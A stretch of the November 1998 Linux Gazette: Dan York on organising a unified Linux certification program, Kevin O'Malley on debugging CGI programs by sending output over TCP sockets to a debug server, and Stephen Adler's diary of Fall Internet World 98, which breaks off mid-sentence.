<H4>By <a href="mailto:dyorkyork@lodestar2.com">Dan York</a></H4>
</center>
<P> <HR> <P>
<H1>
Creating A Linux Certification Program - The Next Step</H1>
After my article in the October Linux Gazette, I received over 60
replies, almost all of which were positive. With this next article, I want
to announce some various resources on the web and also a new mailing list
to discuss certification. Many thanks to all of you who have sent me pointers
and also volunteered to help. I received responses from all corners of
the globe and was excited and impressed to see: a) the work some people
are already doing on Linux training and certification; b) the enthusiasm
out there about Linux, and also about Linux training and certification;
and c) the willingness of so many people to help out and be involved!
THANK YOU!!
<HR WIDTH="100%"><H2>Initial Comments</H2>
Five specific notes before I get to all the pointers people have sent me:<BR>
<UL>
<LI>
First, Dave Sifry at Linuxcare,Inc., was kind enough to set up a mailing
list to host further discussions on creating a unified Linux certification
program. To subscribe, send a message to:<BR>
<BR>
<A HREF="mailto:majordomo@linuxcare.com">majordomo@linuxcare.com<BR>
<BR>
</A> with the message:<BR>
<BR>
subscribe linux-cert<BR>
<BR>
Messages to the discussion list are sent to "linux-cert@linuxcare.com"<BR>
<BR>
The list is intended for people who *want* to build a certification program.
We don't need to another place to discuss whether or not a Linux certification
program *should* exist... subscribers to the list should agree that, yes,
we want a Linux certification program - now let's discuss how best to build
one.<br><br></LI>
<LI>
Second, Bruce Dawson from CodeMeta graciously set up a place where I could
post pointers for Linux training resources. It's at:<BR>
<BR>
<A HREF="http://www.linuxtraining.org/">http://www.linuxtraining.org/<BR>
<BR>
</A>Don't bother going there yet as I don't have any real content online.
My goal is to build a "Linux Training Alliance" of other training centers
that will be offering Linux training with the idea of publicizing schedules,
resources, etc. If you are involved with a training center (commercial,
university or nonprofit, etc.), and would be interested, drop me a note.
I expect to have some more ideas there by mid-November. Check in
then...<BR>
<BR></LI>
<LI>
Third, the folks at SAGE (the System Administrator's Guild, a special technical
group within USENIX) have been doing some great work on developing a generic
UNIX certification program. Please check out their work at:<BR>
<BR>
<A HREF="http://www.usenix.org/sage/cert/">http://www.usenix.org/sage/cert/<BR>
<BR>
</A>While it will probably make sense from a marketing perspective to have
a separate Linux credential, I personally think our efforts should be at
the very least complementary to what SAGE develops - if not coordinated
directly with the SAGE work. <BR>
<BR>
There will be a block of time on December 10th at the big USENIX LISA conference
in Boston, MA, December 9-11, to discuss certification. I'm planning to
be there and would be glad to meet others there. More info can be found
at <A HREF="http://www.usenix.org/">http://www.usenix.org/</A><BR>
<BR></LI>
<LI>
Fourth, I just wanted to respond to a number of comments people sent taking
issue with my article's focus on making money offering Linux training.
I make no apologies. My company is a for-profit training center and
I would desperately love to make my living teaching people how to use Linux
instead of doing what I am currently doing (teaching people how to use
Windows NT!).<BR>
<BR>
That said, I believe that *any* Linux certification program should be created
in such a way as to be affordable and as inexpensive as possible.
Which, if you look at it, is true of Microsoft's MCSE program. To
become an MCSE, you <B>MUST</B> only spend $600 - 6 exams at $100/each.
That's it... $600 ($U.S.). It's how you prepare for those exams that
costs the money. Some people use books, others computer-based training,
some the free info on the web - others take training classes. In my opinion,
any Linux training program should offer a similar range of options - the
actual certification cost should be as minimal as possible.<BR>
<BR></LI>
<LI>
Finally, Tobin Maginnis (<A HREF="mailto:ptm@sairinc.com">ptm@sairinc.com</A>)
responded to mention the program he has put together for a "Linux Certified
System Engineer". He has a site up at:<BR>
<BR>
<A HREF="http://www.linuxcertification.org/">http://www.linuxcertification.org/<BR>
<BR>
</A>Tobin will have an <A HREF="http://www.linuxcertification.org/art5.html">article
</A>in the December issue of the Linux Journal and is also extremely interested
in developing a Linux industry-wide certification program. I encourage
you to visit his site and read his material.</LI>
</UL>
<HR WIDTH="100%">
<H2>Resources Relating To Linux Certification</H2>
As a result of my article, a number of people sent me pointers to resources
available on the web relating to Linux training and certification.
The pointers are listed below.
<UL>
<LI>
First off, there's a web discussion group at the Linux Journal site focused
on Linux certification. It's at:<BR>
<BR>
<A HREF="http://www.linuxjournal.com/HyperNews/get/certification.html">http://www.linuxjournal.com/HyperNews/get/certification.html<BR>
<BR>
</A> It was created after a November 1997 article by Phil Hughes
on the topic. Please do take a look at it. If people want to
use that forum for discussions versus the "linux-cert" mailing list, I'm
certainly open to it. Mailing lists happen to work better for me
personally... but I could work on a web site, too.<BR>
<BR></LI>
<LI>
Quite a number of people (including Robert Hart himself) pointed me to
his pages at Red Hat where he describes the program Red Hat is developing:<BR>
<BR>
<A HREF="http://www.redhat.com/~hartr/">http://www.redhat.com/~hartr/<BR>
<BR>
</A>He also has posted there a talk he gave at a May 1998 LinuxExpo describing
the Red Hat program and their reasons for going their own way.<BR>
<BR></LI>
<LI>
Caldera came out with some more info about their training program. You
can learn more at:<BR>
<BR>
<A HREF="http://www.linuxtraining.com/support/training.html">http://www.linuxtraining.com/support/training.html<BR>
<BR>
</A>Yes, Caldera took out "linuxtraining.com" some time ago - it just goes
to their main site (<A HREF="http://www.caldera.com/">http://www.caldera.com/</A>)<BR>
<BR></LI>
<LI>
Kris Carlier (carlier@iguana.be) wrote in about some courses he is offering
in Belgium. He's got a web site up at:<BR>
<BR>
<A HREF="http://panoramix.cmo-waasland.be/~kris/linuxtraining/">http://panoramix.cmo-waasland.be/~kris/linuxtraining/<BR>
<BR>
</A>The text is in Dutch, but there are enough English words that you might
get the idea... and hey, the dancing penguin is cool!<BR>
<BR></LI>
<LI>
Andreas Neuper wrote in about the SAGE site, but also suggested visiting
IBM's site on certification for an example of another certification program.
It's at:<BR>
<BR>
<A HREF="http://www.ibm.com/certify">http://www.ibm.com/certify</A><BR>
<BR></LI>
<LI>
"I Made Wiryana" replied from Indonesia about efforts there to promote
Linux within Indonesia. He provided two links:<BR>
<BR>
<A HREF="http://nakula.rvs.uni-bielefeld.de/made/SRIG-PS/standard.html">http://nakula.rvs.uni-bielefeld.de/made/SRIG-PS/standard.html<BR>
</A> <A HREF="http://nakula.rvs.uni-bielefeld.de/made/artikel/Abad21">http://nakula.rvs.uni-bielefeld.de/made/artikel/Abad21<BR>
<BR>
</A>Do be aware that his site is entirely written in Indonesian! <BR>
<BR></LI>
<LI>
Several people wrote to suggest that Microsoft's program was <I>not</I>
the one that should be emulated. I understand their comments (one
was, "if we are to emulate anyone, it should NOT be Microsoft!") but actually
think Microsoft has put some good thought into their program. If
you haven't seen Microsoft's pages relating to certification, check out:<BR>
<BR>
<A HREF="http://www.microsoft.com/train_cert/">http://www.microsoft.com/train_cert/</A><BR>
<BR></LI>
<LI>
Someone wrote in to say that 6 months ago, he designed a program in Pennsylvania
with 3 levels - Certified Linux Administrator, Certified Linux Instructor,
Certified Linux Engineer. He didn't provide a web page or any other
information... and I haven't been able to find anything... but he's out
there somewhere...<BR>
<BR></LI>
<LI>
Another reader wrote in to ask that the word "Engineer" not be used in
any certification program titles as some states/countries regulate who
can be called an "Engineer" (reserving the term for people such as Mechanical
Engineers and Civil Engineers). Tough issue, given that so much of the
IT industry used the word "engineer"...<BR>
<BR></LI>
<LI>
I happened to stumble on the page for "The Linux Foundation" which is apparently
developing two different Linux certification programs - "Certified Linux
Administrator" and "Certified Linux Expert". Their web site indicates that
exams are in development and will be offered through Sylvan Prometric (the
same as Microsoft, Sun and Novell). More info is at:<BR>
<BR>
<A HREF="http://www.linuxfoundation.org/">http://www.linuxfoundation.org/<BR>
<BR>
</A>It's not clear, but it appears there may be a link between this site
and Digital Concepts, LLC, whose web site is at:<BR>
<BR>
<A HREF="http://www.digitalco.com/">http://www.digitalco.com/<BR>
<BR>
</A>It appears they are following Caldera's plans and will be developing
guides for Caldera's program (see <A HREF="http://www.digitalco.com/linuxtests/">http://www.digitalco.com/linuxtests/</A>)</LI>
</UL>
<HR WIDTH="100%">
<H2>
Final Thoughts</H2>
<p>Other people did point out that this topic has been around for a while.
Indeed, through the AltaVista search engine I found pointers to discussions
that occurred about setting up a Linux certification program back in 1996.<BR>
<p>The issue now is that the momentum of certification within the IT industry
just keeps increasing and the responses to my article make me only that
much more sure that we need to move <B>now</B> to make sure that we build
a <B>unified </B>Linux certification program that we all can get behind
and promote with the same energy and enthusiasm that Microsoft promotes
the MCSE and Novell promotes the CNE. <BR>
<p>The biggest single item that can kill a Linux certification program is
if we in the Linux community wind up with 4 or 5 different
separate programs! (Do I hear the UNIX wars again?) There is strength
in numbers - can we build a common program? Please join me
on the mailing list and let's see if we can give it a shot!
<A HREF="../issue33/york.html">Previous Article</A>
<!--===================================================================-->
<P> <hr> <P>
<center><H5>Copyright © 1998, Dan York <BR>
Published in Issue 34 of <i>Linux Gazette</i>, November 1998</H5></center>
<!--===================================================================-->
<P> <hr> <P>
<A HREF="./lg_toc34.html"><IMG ALIGN=BOTTOM SRC="../gx/indexnew.gif"
ALT="[ TABLE OF CONTENTS ]"></A>
<A HREF="../lg_frontpage.html"><IMG ALIGN=BOTTOM SRC="../gx/homenew.gif"
ALT="[ FRONT PAGE ]"></A>
<A HREF="./jachim.html"><IMG SRC="../gx/back2.gif"
ALT=" Back "></A>
<A HREF="./omalley.html"><IMG SRC="../gx/fwd.gif" ALT=" Next "></A>
<P> <hr> <P>
<H4>
"Linux Gazette...<I>making Linux just a little more fun!</I>"
</H4>
<P> <HR> <P>
<!--===================================================================-->
<center>
<H1><font color="maroon">Debugging CGI Programs over TCP
Sockets</font></H1>
<H4>by <A HREF="mailto:omalley@umich.edu">Kevin O'Malley</A></H4>
</center>
<P> <HR> <P>
<!--
<center>
<img src="udb.gif">
</center>
-->
<H3>BACKGROUND</H3>
<P>
This article evolved from my frustration in developing and debugging CGI
programs
written for the
<A HREF="http://auction.eecs.umich.edu">AuctionBot</A>, a multi-purpose
auction server.
I found that the available C libraries, C++ class libraries and web
server extensions did not fit my needs so I decided to implement a
different approach based on
debugging over TCP sockets. Using this approach, I have successfully
implemented and debugged most of the CGI's for this project.
<P>
My development machine at work is a Sun Ultra 1 running
Solaris 2.5. At home I have a Linux box running RedHat 5.0. I
developed all my debugging code under Linux. Linux provides a very
stable development environment that allowed me to develop, test and
experiment locally, without requiring remote login to the Sun.
Once the code was running, I simply moved it over to the Sun, built it
and started using it.
<P>
<H3>OVERVIEW</H3>
Debugging CGI (Common Gateway Interface) programs present unique
challenges not found when debugging programs in more traditional
environments. CGI's are executed by a web server and run within the
environment created by the web server. This makes a CGI's
runtime behavior strongly coupled to the environment setup by the web
server. A developer can not simply run a CGI from a shell, or under a
debugger, and expect it to behave as it does while running within the
web server environment.
<P>
A common CGI debugging technique involves capturing the
environment that a CGI is run under (usually to a disk file),
restoring the environment on a local machine and running the CGI
locally within the restored environment. Using this technique,
CGI's can be run from the command-line, or from within a debugger
(<CODE>gdb</CODE> for example) and debugged using familiar debugging
techniques. This technique is straight forward, but requires the developer
to perform the extra work of capturing and restoring the CGI runtime
environment.
<P>
Another problem in debugging CGI's is viewing the output of a CGI that
fails to run correctly. If you are using Apache 1.2 or later, this can be
addressed by configuring the web server to log error messages to a
error log file. This approach works for some classes of problems, but
does not provide the granularity I wanted.
<P>
One could write debugging/status information to log files and use
<code>tail -f logfile</code> to view the file. This works, but can
produce deadlock conditions if multiple copies of your CGI are
running and they attempt to use the same shared resource (the log file) and
do not use file locking. Developers must provide file locking code
and handle possible deadlock conditions, including cases where a CGI
crashes before it releases its file lock [1]. In addition, all writes
must be atomic to ensure correct output.
<P>
Ideally, one would like to debug the CGI in its natural surroundings,
i.e. from within environment created by the web server, without any
extra setup work.
<H3>MY SOCKET-BASED SOLUTION</H3>
An alternative technique is to use network sockets to write
debugging information using printf-like statements to a debug server
application running on the developers local machine, or any machine
on the network. Using this technique, CGI's can be debugged and
monitored quickly and easily while running within the server environment.
The class <CODE>SocketDB</CODE> provides the required behavior
to debug CGI's over TCP sockets. The class supplies methods to
connect to the server and write strings over a TCP socket.
<PRE>
class SocketDB
{
private:
int mSD;
ErrorTypes mErrorType;
int mConnected;
public:
SocketDB();
SocketDB(char *name, int port);
~SocketDB();
int Connected() { return mConnected; }
int ErorType() { return mErrorType; }
int Connect(char *name, int port);
int Print(char *format,...);
int Println(char *format,...);
};
</PRE>
To connect to the server use the <CODE>SocketDB</CODE> constructor passing
the server name and port, or use the <CODE>Connect</CODE> method. Both
will
attempt to connect to the server on the specified port. Use the
<CODE>Connected</CODE> method to determine if the connection was
successful or you can use the return value of <CODE>Connect</CODE>.
The <CODE>Connect</CODE> method returns 1 if connected, otherwise, 0.
If a connect error occurs, use the <CODE>ErorType</CODE> method to get
error information. The file <CODE>Socket.C</CODE> enumerates the
error types.
<H4>THE CLIENT</H4>
The program <CODE>DebugClient</CODE> (see DebugClient.C) shows how to use
the class.
For simplicity, I designed this program to run from the command-line,
rather than a CGI program run by the web server. I choose this approach
so users could quickly run the program and see how the socket
debug class works. Integrating the class into a CGI is very straight
forward.
<P>
The program attempts to connect to the debug server program specified
by the command-line arguments host and port (see source code). If
it fails to connect, it prints a message, and the error code and
exits. If it connects, it prints the test string, writes the same
string over a TCP socket to debug server and reports the result of
the debug server write.
<H4>A DEBUG SERVER</H4>
The program <CODE>DebugServer</CODE> (see DebugServer.C) implements an
example
debug server [2]. This program is a simple echo server that creates a
socket, binds to it and accepts connections from clients. Once it
gets a connection it forks off and handles the connection. In this
case it just reads a string and echoes it.
<H4>USING THE PROGRAMS</H4>
To use the client program and the debug server, <CODE>cd</CODE> to the
directory
containing the example programs and type <CODE>DebugServer [port]</CODE>
where
port is the port you want the server to listen on. For example, to run the
program
on port 4000, type <CODE>DebugServer 4000</CODE>.
<P>
In another shell <CODE>cd</CODE> to the directory containing the example
programs and type <CODE>DebugClient [host] [port]</CODE> where host is the
host name
of the machine the server is running on (get this by typing
<CODE>hostname</CODE>
at the command prompt) and the port is the port were the server to
listening (4000 for example).
<P>
You should see a text string written to the server and to the shell.
<H3>CONCLUSIONS</H3>
Using network sockets to write debugging and state information to a server
application is a flexible and effective technique for monitoring and
debugging CGI programs. Using this method, developers can quickly
debug CGI's while they run within the server environment.
<H3>RESOURCES</H3>
[1]. W. R. Steven, 1990, <i>UNIX Network Programming</i>. New Jersey:
Prentice-Hall, Inc, pp. 88-101.
<br>
[2]. W. R. Steven, 1990, <i>UNIX Network Programming, Network APIs:
Sockets and XTI Volume 1</i>. New Jersey: Prentice-Hall, Inc.
<P>
Code: <A
HREF="http://groucho.eecs.umich.edu/~omalley/software/socket_debug-1.0.tar.gz">
http://groucho.eecs.umich.edu/~omalley/software/socket_debug-1.0.tar.gz</A>
<!--===================================================================-->
<P> <hr> <P>
<center><H5>Copyright © 1998, Kevin O'Malley <BR>
Published in Issue 34 of <i>Linux Gazette</i>, November 1998</H5></center>
<!--===================================================================-->
<P> <hr> <P>
<A HREF="./lg_toc34.html"><IMG ALIGN=BOTTOM SRC="../gx/indexnew.gif"
ALT="[ TABLE OF CONTENTS ]"></A>
<A HREF="../lg_frontpage.html"><IMG ALIGN=BOTTOM SRC="../gx/homenew.gif"
ALT="[ FRONT PAGE ]"></A>
<A HREF="./york.html"><IMG SRC="../gx/back2.gif"
ALT=" Back "></A>
<A HREF="./adler.html"><IMG SRC="../gx/fwd.gif" ALT=" Next "></A>
<P> <hr> <P>
<H4>
"Linux Gazette...<I>making Linux just a little more fun!</I>"
</H4>
<P> <HR> <P>
<!--===================================================================-->
<CENTER>
<P><FONT COLOR="#66FFFF"><FONT SIZE=+2>Fall Internet World 98</FONT></FONT>
<BR><FONT COLOR="#66FFFF"><FONT SIZE=+2>A View From the Show Floor</FONT></FONT>
<BR><FONT COLOR="#66FFFF"><FONT SIZE=+2>By <A HREF="mailto:adler@bnl.gov">Stephen
Adler</A></FONT></FONT>
<P>
<HR WIDTH="100%"></CENTER>
<BR>
<P><BR>
<BR>
<P>I just experienced my first big league Internet show. And was it a doozer....
The show was titled '<A HREF="http://events.internet.com/fall98/">Fall
Internet Show 98</A>' and it took place in New York City's Javits conference
center. There was a 4 day 'vertical' track on TCP/IP which was one of the
motivations for going to the show. The other was to meet the commercial
Linux people in person. So what follows is a 'diary' of what I can remember
of the show.
<P>Day 1) I live on Long Island NY and I have to take a 1.2 hour train
ride in order to reach the Javits convention center where the show is being
held. My day starts by getting up at 5:45 am, taking a quick shower, and
trying to get to the train station, a good 30 minutes from home, by 6:30am.
This first day, I got a call from the <A HREF="http://www.phy.bnl.gov/e787/e787.html">experiment
where I work</A>, telling me that <A HREF="http://ssadler/~adler/chep98/chep98.html">data
cannot be collected</A>. I'm the DAQ guy. I figured I would drive by work,
fix the DAQ problem and continue on to the train station. The
problem <IMG SRC="./gx/adler/longIsland.small.gif" NOSAVE HEIGHT=200 WIDTH=300 ALIGN=LEFT>was
minor, but I missed the 6:30 train I wanted to take and ended up on a later
train. What was the rush? According to the Fall Internet World 1998 web
page, the keynote speakers were to start on Monday at 9am and I still had
to register. I wanted to get into Javits, register and get a good seat
for the keynote. I was rushing to get to NYC. The train ride in was uneventful.
The weather was fantastic. 70 odd degrees that day, clear blue fall skys.
Getting into Pen Station and out onto the streets of NYC, on a bright clean
crisp fall day is hard to explain. You have to experience it yourself.
Javits is between 34th and 36 or 37th street and 11th Ave. Pen Station
on about 8th and 33rd. So I take off west, down 34th searching for Javits.
I've seen it from the outside a long time ago and I'm not really sure where
to find it. Found it, hard to miss. And yes, there was some kind of computer
show going on there. The front of the convention center had these large
banners draped with some message from Hewlett Packard for all to see. There
were some other banners draped in front of the building which I cannot
recall now.
<P>In I go expecting to see thousands and the place looks rather empty.
I peer into the show floor to find boxes and crates unopened all over the
place. "Gee", I think to myself, "They have a lot of work to do in order
to get setup for today". I go over and registers, there is no one in line.
And again I think to myself "This is weird, the place is dead". I was worried
that I would miss the key note address of John Gage, <IMG
SRC="./gx/adler/fiw9801.small.jpg" NOSAVE HEIGHT=150 WIDTH=226 ALIGN=RIGHT>some
science guru working for Sun. Well, it turns out that the show is really
to get going on Wednesday. Ha, this explains all, I'm rushing around for
no purpose at all. The good thing was that the sessions I wanted to attend
did start today so waking up at 5:45am was not a complete waste of my time.
Now all I had to do was blow off 1 hour waiting for my session to start.
In the mean time, I went to get a cup of coffee from one of the show vendors.
I spent 5 bucks on an oversized coffee and muffin. The coffee these guys
sold me was so charged up, that I ended up running to the bathroom to pee
at every break in my session.
<BR>
<P><BR>
<CENTER>
<P><IMG SRC="./gx/adler/fiw9810.small.jpg" NOSAVE HEIGHT=138 WIDTH=400 ALIGN=CENTER></CENTER>
<BR>
<P><BR>
<P>10am finally rolled around, I went to my session titled 'The Infrastructure
of IP' or something like that and spent the rest of the day listening to
a rather polished man, (polished in appearance,) telling me about IP. I
knew about 70% of what he was telling me and was gland to learn of the
other 30% of which I've heard of but never knew the details. (What exactly
is a class A, B, C, D or E type network and the details of the why's and
whereof's of DHCP, a rather new protocol to replace bootp, (new in that
I've just heard of it when RedHat 5.1 was released)) The other stuff he
covered I cant remember now. What I remember most of this session was that
this guy reminded me of a tele-evangelist. First off, the guy wore a very
nice suit. You can't blame him, its his job, and working in the private
sector, you have to look good. He worked for a training company and this
explained why, at least I assumed why, he presented his material as he
did. His style was as follows. <IMG SRC="./gx/adler/fiw9830.small.jpg" NOSAVE HEIGHT=300 WIDTH=155 ALIGN=RIGHT>His
presentation tool was power point, jazzed up with animations. The slide
could not just pop up. The letters had to roll in, high light streaks had
to streak in, the bullet items came in, rolling in one after another with
a nice time delay between bullet items of several seconds. Very slick.
He would present his material in a way which was supposed to make you feel
good about what you were listening to. He kept asking questions, not for
the sake of the question, but to get the audience involved. He would walk
up and down the isle talking about IP headers, the OSI networking model
and always interjecting, "Do you feel comfortable with that? Is it all
coming together now?", all the while I'm getting this weird feeling that
I need to yell "Amen, the TCP/IP God is great and forgiving".
<P>This went on for the rest of the day. Sitting inside this small room
listening to the wonders of IP. At one point, I decided I needed to get
out and look around a bit to see what the rest of the conference attendees
were engaged it. I poked my head into one room, about 4 times the size,
full of people, talking Web marketing strategies. I mean it was full. This
pointed out to me one fact about the internet. Very few know how it really
works, and the rest are trying to cash in using browser technology.
<P>Day 2) Since my session didn't start until 10am, I didn't rush to catch
the train. Instead I took my wife to work, and then had to run and catch
the last train which got into NY at 10am. Meaning I would miss the first
15 minutes of my session. <IMG SRC="./gx/adler/fiw9839.small.jpg" NOSAVE HEIGHT=200 WIDTH=125 ALIGN=LEFT>That's
OK. After sitting through about 6 hours of Tele-evangelism I figured I
could miss the 1st 15 minutes of the "Integrating Unix and NT", or was
it, "Making Unix talk to NT" or something to that effect. The idea being
that you were to learn how to setup a heterogenous Unix/NT computing environment.
I got the same guy from yesterday giving this session, great guy, but I
couldn't take it anymore. He ended getting hung up on setting up a DHCP
server on his laptop running NT. Hey, I can fill in a widget form thing
with IP numbers too... I figured I had enough and that this time, I wouldn't
learn much. I wanted to see what else was 'out there'. So I wondered over
to the ISP session. There was an interesting talk on setting up VPN's.
That was new to me. Virtual Private Network. I still don't understand why
it's such a good thing. To me, it has a bit of a snake oil man's thing
to it. Look, we can setup this 'tunnel' between sites on your enterprise.
Its secure, it uses the internet, it drives costs down. And I'm thinking
to myself, "Well, I've got secure shell on my PC at home, if I've got secure
shell on my PC at work and I ssh between the two, I must have a VPN!".
I'm pushing the forefront of internet technology without even know it.
I guess VPN's are for those who don't have access to ssh. Hmmm... I paid
$0 for ssh, I wonder what it costs to setup a VPN? Do the ISP's give it
away? I wandered from the ISP session to the Telephony session. I learned
about VPN's in that session too. Here, there was a slick woman from 3Com
who had even slicker .ppt files to dazzle you with. These .ppt files were
in full animation. Cartoons would pop up and disappear, text would flow,
arrow and pointers swooshed. I hope I don't get a .ppt deficiency complex
next time I present my all too static transparencies. (Transparencies....
(yes I do code in Fortran more often that I would like to admit. But I
have written some c++ code, a crude as it was...))
<P>Lunch came next. The day before I got a hotdog from a vendor across
11th avenue for $1.50. With soda it cost me less than $3.00. Today, I got
into the cafeteria line, pulled a rather bland ham and cheese hero looking
thing from a shelf, a bag of chips and a soda. $10.00!!!! I grunted as
I pulled out a $10 bill from my wallet but the cashier didn't seem to care.
(Its not her fault I'm stupid.) I wandered around the tables, found one
where only one guy was sitting at a table which fit 4. I sat down and munched
away. After some time, I got to talking to the guy. He was a chap from
Israel with a T1 connection out of his house and a 45Mbit connection coming
in! Talking about an asynchronous plug into the Internet. My god. This
guy was into testing some on demand DVD video app into his house. We'll,
I'll be waiting form my 45Mbit connection coming from Bell Atlantic soon.
Yea, real soon. It took 9 months to get ISDN into my house after Bell Atlantic,
when they swore up and down it would be 3 weeks tops. Using Adler's law
of monopolistic trends in hi-tech, I give Bell Atlantic 20 years before
I see 45Mbits into my house, even thought this guy has it *now*. (I'll
have more sarcastic comments on this topic later...) Ok that was lunch.
I decided to blow off the rest of the Unix/NT session. At this point I
cant remember very well what I did. It's all getting rather blurry. I do
remember the last session I went to on day 2 of the conference. It was
titled "The governance of the Internet" and was a panel of a bunch of rich
guys discussing how the government should not intervene with regulating
what is deployed on the internet and how its deployed. The unfortunate
part was that too much of the discussion centered on 'adult material' with
eyes rolling up on each mention of that dirty subject.
<P>Day 3) Finally, the first day of the real conference. I got up at 5:45
am, and rushed off to catch the train. The 7:05 express got me in about
8:30 which would be enough time to walk over to Javits and catch a good
seat for the morning key note. The deliverance of this keynote really set
the stage for the next two<IMG SRC="./gx/adler/fiw9813.small.jpg" NOSAVE HEIGHT=175 WIDTH=268 ALIGN=RIGHT>
day's of this conference. The key note took place in the 'special events
hall'. A large auditorium with a low sealing which could seat about 1000
people I estimated. The stage was setup with 4 projection size TV screens.
(20 feet high by 30 feet long, I don't know if I have the aspect ratio
correct there, but they were big) Above the speakers podium was another
regular TV which must have been at least 48'' in size. The props which
fit between these screens were black with fluorescent thin geometric design.
(Predominantly orange fluorescent tones) As I walked in, some rather hyped
rock and roll music was playing. Fast beat music. I'm glad I didn't have
a cup of the coffee they served there in the Javits food stand because
between the caffeine overdose they serve and the rock and roll, I would
have shot out of my chair. So there I wait, rock and roll in the back ground,
cool fluorescent stage props in front and tons of MecklerMedia adds on
the TV screens, (All 5 monster screens of them). The music let up, the
screens went blank and the show was about to begin. The first 2 or 3 minutes
was dedicate to a rather glizy add of Sun Microsystems. More rock and roll,
the 5 screens lit up with MTV style imagery dedicated to promoting Sun.
After that, some rich guy, (member of the overclass), comes out and introduces
himself. <IMG SRC="./gx/adler/fiw9812.small.jpg" NOSAVE HEIGHT=175 WIDTH=280 ALIGN=LEFT>(Head
of MecklerMedia, the sponsors of the show.) He eventually gets around to
introducing the keynote speaker, John Gage. John, from what I can tell,
has a science background. I would assume he has a Ph.D. in physics or something
since he is the science liaison for Sun Microsystems. Being that I'm a
scientist, I figured this would be a good chance to see what us science
guys are doing to help internet technology. He gave a very good talk. In
the end, he ended up promoting Sun's alternative to corba called jini.
And no, its not in the public domain. John had some guy who seems to be
involved in the development of jini come out and tell us what jini is and
how it would affect the world. The appliance world that is. Jini was going
to be, dare I call it the OS, which runs in your cam-corder, cell phone,
PC, coffee pot, refrigerator, steering and breaking system in your car,
landing gear in the next plane you fly, in the stop light at your closest
busiest intersection, in the elevator in the World Trade center... Wait,
is this a Really Stupid Idea!!!! This is nuts!!!! I don't want my car's
breaking system to be on the Internet! No Way! It's going to be break-in
city. All the hackers (I don't mean to give all hackers a bad name) who
dedicate themselves to testing system IP vulnerabilities are going to have
a field day. I am sure there will be a web page with the IPv8 address of
my breaking system and the buffer overflow code which you can down load
into this jini thing in my breaking system which will cause the breaking
system to invert. Instead of pushing the peddle in my car to break, I'll
have to push the break peddle to release the emergency breaks in my car.
Good grief, I thought the year 2K freaks were crazy about the end of the
world. Jini will end it all. After this jini guy finished talking about
the object'ivity of this code, (you should have heard him rant. "This cam-corder
is an object. Its got methods! The record method. The 'upload your data'
method") all while he was staring intently at the cam-corder. It was if
he was looking into and beyond the cam-corder into every appliance on the
internet, including the breaking system of my car. John finished off his
talk in a brilliant fashion. he pulled up the 'coolest taxi in Colorado'
web page for us to see. Some guy, I can't remember where in Colorado, has
wired up his cab to the internet. the interior of his cab is totally wacked
out. Its got a full complement of musical instrument, drums, key board,
amplifiers etc. as well as some digital camera which he used to take pictures
which he uploads to his web site. Here check it out. <A HREF="http://www.ultimatetaxi.com/taxinow.htm">Click
here</A>.
<P>After that bit of excitement I decided to pace myself and go to some
sessions before hitting the trade show floor. The problem is that I can't
remember what sessions I went to. But I do know that I only went to one
of them. Because it was after that I was soon on my way to checkout the
RedHat booth. My main calling to this show was to meet the RedHat team.<IMG
SRC="./gx/adler/fiw9806.small.jpg" NOSAVE HEIGHT=200 WIDTH=299 ALIGN=RIGHT>
I wouldn't call my self a Linux fanatic, maybe just an enthusiast. And
I've gone through about 50 installations of RedHat on one machine or another
since I started using it in the spring of 1996. I've been following the
growth of RedHat somewhat on a daily basis since then and I've seen that
they tour the world, meeting LUG groups and what not. So, needless to say,
I did have a peak of curiosity to meeting someone from RedHat in flesh
and blood. My search for the RedHat booth was frustrated by the poor documentation
provided by the show. I went to the first floor, looking for booth 3368
or something like that and found this empty booth space in the far back
reaches of the first floor show area. I then found out that they were on
the second floor. This was good since this was the main show area. Then
I went to the second floor and wandered around looking for them. Again,
the booth numbering is not quite random but close. I'm sure mathematicians
have a name for its. Local Random Space, or local non-transforming functionals,
who knows. I finally stumbled into them. There it was, the RedHat booth.
I was expecting it to be mobbed by people, but it was not. It was rather
empty. They had one or 2 PC's running RedHat Linux and the secure version
of Apache. I went up and introduce myself to Melissa, the PR woman for
RedHat, although she didn't want to refer to herself as a PR person. I
guess there is some stigma attached to the PR departments of high tech
companies which eludes me. Maybe is because I don't watch enough TV to
see all the MS commercials. In any case, I told Melissa that I expected
RedHat is going to get really big. I was curious to find out what was going
on with the company. She told me that it was crazy right now. My guess
is that the RedHat team is hacking late into the night. With the recent
investment of Netscape, Intel and two venture capital firms, they are clearly
booming. (I recently saw the announcement for two new positions at RedHat
on their announcement mailing list.) As I stood round the booth, it was
clear to me that people were continuously coming to the RedHat booth to
ask questions. I was trying to stay out of their way. Or answer some questions
for them if some people couldn't get to the RedHaters. After telling Melissa
that I have a RedHat mirror site, she got excited and gave me a mouse pad
and a poster. I hung around a bit more, found out that all the other Linux
vendors were in the Oracle Partners pavilion. So I headed over there.
<P>There I found the Pacific Hi Tech guy, the Caldera guy, the SuSE guys,
and the VA guy. I spent some time with each. At that time, the VA guy was
in a crisis situation. His PC had arrived broken. It was shaken up during
shipping. Evesdropping in on the situation, it sounded like the disk drive
was not properly screwed in to its bay and when the VA guy opened up the
box, he found the system disk sitting on the bottom of the
enclosure. <IMG SRC="./gx/adler/fiw9808.small.jpg" NOSAVE HEIGHT=150 WIDTH=225 ALIGN=LEFT>After
putting the disk back where it belonged, it wouldn't boot. At that time,
there was some guy from RedHat, trying to figure out how to get it back
up and running. It was tense. The RedHat guy had a bead of sweat coming
down the side of his forehead while he franticly typed commands at the
console trying to diagnose the problem. I've been in similar situations
but not as bad has having my system dead on the show floor of a major Internet
conference. Instead of standing around looking over his shoulder adding
to his pressure, I told the guy good luck and took off for lunch. (I stopped
by some time later, and the machine was running fine.)
<P>Lunch. Two hotdogs and a soda. All for under $5. Much better. Thank
you street vendor. (Hmm... I see parallels here between open and close
source development and lunch with the street vendor and at the conference
cafeteria.)
<P>After lunch came the Oracle keynote given by the CEO of Oracle, Larry
Ellison. The only time I've seen him before was on a very good documentary
by this Cringly guy titled something like "The Revenge of the Nerds" which
tracked historically the rise of the SV power houses along with MS. The
pre Keynote show or add, was really intense. All 5 TV displays were in
full swing throwing up graphics and images of Oracle and the Internet.
The music was very loud and fast. The adrenaline rush was mounting. After
about 5 minutes of this extremely intense pitch, the noise gave way to
silence. Then someone from the audience shouted "LOUDER!". Everyone laughed.
And out came the CEO of Oracle. I don't know if he caught that, but I would
have been rather emberassed. So off he goes ranting and raving about the
future of computing. He ragged as much as possible on Microsoft. (There
was an article in the NYTimes which talked about NT servers in every Burger
